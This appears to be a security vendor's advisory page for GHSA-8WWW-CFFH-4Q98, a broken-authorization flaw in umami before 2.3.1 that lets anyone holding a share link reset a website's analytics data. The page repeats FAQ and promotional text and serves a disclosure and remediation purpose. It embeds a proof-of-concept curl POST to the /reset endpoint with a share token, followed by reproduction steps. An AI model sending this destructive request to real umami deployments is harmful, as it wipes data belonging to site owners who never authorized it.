What is GHSA-8WWW-CFFH-4Q98?

GHSA-8WWW-CFFH-4Q98 is a critical-severity security vulnerability in umami (npm), affecting versions < 2.3.1. It is fixed in 2.3.1.

How severe is GHSA-8WWW-CFFH-4Q98?

GHSA-8WWW-CFFH-4Q98 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Which versions of umami are affected by GHSA-8WWW-CFFH-4Q98?

umami (npm) versions < 2.3.1 is affected.

Is there a fix for GHSA-8WWW-CFFH-4Q98?

Yes. GHSA-8WWW-CFFH-4Q98 is fixed in 2.3.1. Upgrade to this version or later.

Is GHSA-8WWW-CFFH-4Q98 exploitable, and should I be worried?

Whether GHSA-8WWW-CFFH-4Q98 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

What actually determines whether GHSA-8WWW-CFFH-4Q98 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

GHSA-8WWW-CFFH-4Q98 in umami

Q: How severe is GHSA-8WWW-CFFH-4Q98?

GHSA-8WWW-CFFH-4Q98 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Q: Which versions of umami are affected by GHSA-8WWW-CFFH-4Q98?

umami (npm) versions < 2.3.1 is affected.

Q: Is there a fix for GHSA-8WWW-CFFH-4Q98?

Yes. GHSA-8WWW-CFFH-4Q98 is fixed in 2.3.1. Upgrade to this version or later.

Q: Is GHSA-8WWW-CFFH-4Q98 exploitable, and should I be worried?

Whether GHSA-8WWW-CFFH-4Q98 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

Q: What actually determines whether GHSA-8WWW-CFFH-4Q98 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

Q: How do I fix GHSA-8WWW-CFFH-4Q98?

Upgrade umami to 2.3.1 or later.

Summary

Anyone with a share link can RESET all website data in Umami

Anyone with a share link (permissions to view) can reset the website data.

Details

When a user navigates to a /share/ URL, he receives a share token which is used for authentication. This token is later verified by useAuth. After the token is verified, the user can call most of the GET APIs that allow fetching stats about a website.

The POST /reset endpoint is secured using canViewWebsite which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - permalink

PoC

curl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \
  -H 'authority: analytics.umami.is' \
  -H 'accept: application/json' \
  -H 'accept-language: en-US,en;q=0.9' \
  -H 'authorization: Bearer undefined' \
  -H 'cache-control: no-cache' \
  -H 'content-type: application/json' \
  -H 'pragma: no-cache' \
  -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \
  -H 'sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "Linux"' \
  -H 'sec-fetch-dest: empty' \
  -H 'sec-fetch-mode: cors' \
  -H 'sec-fetch-site: same-origin' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \
  -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \
  --compressed

You can reproduce this by:

Accessing a website using it's share link
Copy the token received from the the received from the GET /share/{website-id}
Send a POST request to https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset with x-umami-share-token: header equal to the token copied in the previous step
The website data is now cleared

Impact

Everyone with an open share link exposed to the internet!

GHSA-8WWW-CFFH-4Q98 has a CVSS score of 9.6 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.1); upgrading removes the vulnerable code path.

Affected versions

umami (< 2.3.1)

Security releases

umami → 2.3.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environment New to Kodem? Get a demo →

Remediation advice

Upgrade umami to 2.3.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

What is GHSA-8WWW-CFFH-4Q98? GHSA-8WWW-CFFH-4Q98 is a critical-severity security vulnerability in umami (npm), affecting versions < 2.3.1. It is fixed in 2.3.1.
How severe is GHSA-8WWW-CFFH-4Q98? GHSA-8WWW-CFFH-4Q98 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
Which versions of umami are affected by GHSA-8WWW-CFFH-4Q98? umami (npm) versions < 2.3.1 is affected.
Is there a fix for GHSA-8WWW-CFFH-4Q98? Yes. GHSA-8WWW-CFFH-4Q98 is fixed in 2.3.1. Upgrade to this version or later.
Is GHSA-8WWW-CFFH-4Q98 exploitable, and should I be worried? Whether GHSA-8WWW-CFFH-4Q98 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
What actually determines whether GHSA-8WWW-CFFH-4Q98 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
How do I fix GHSA-8WWW-CFFH-4Q98? Upgrade umami to 2.3.1 or later.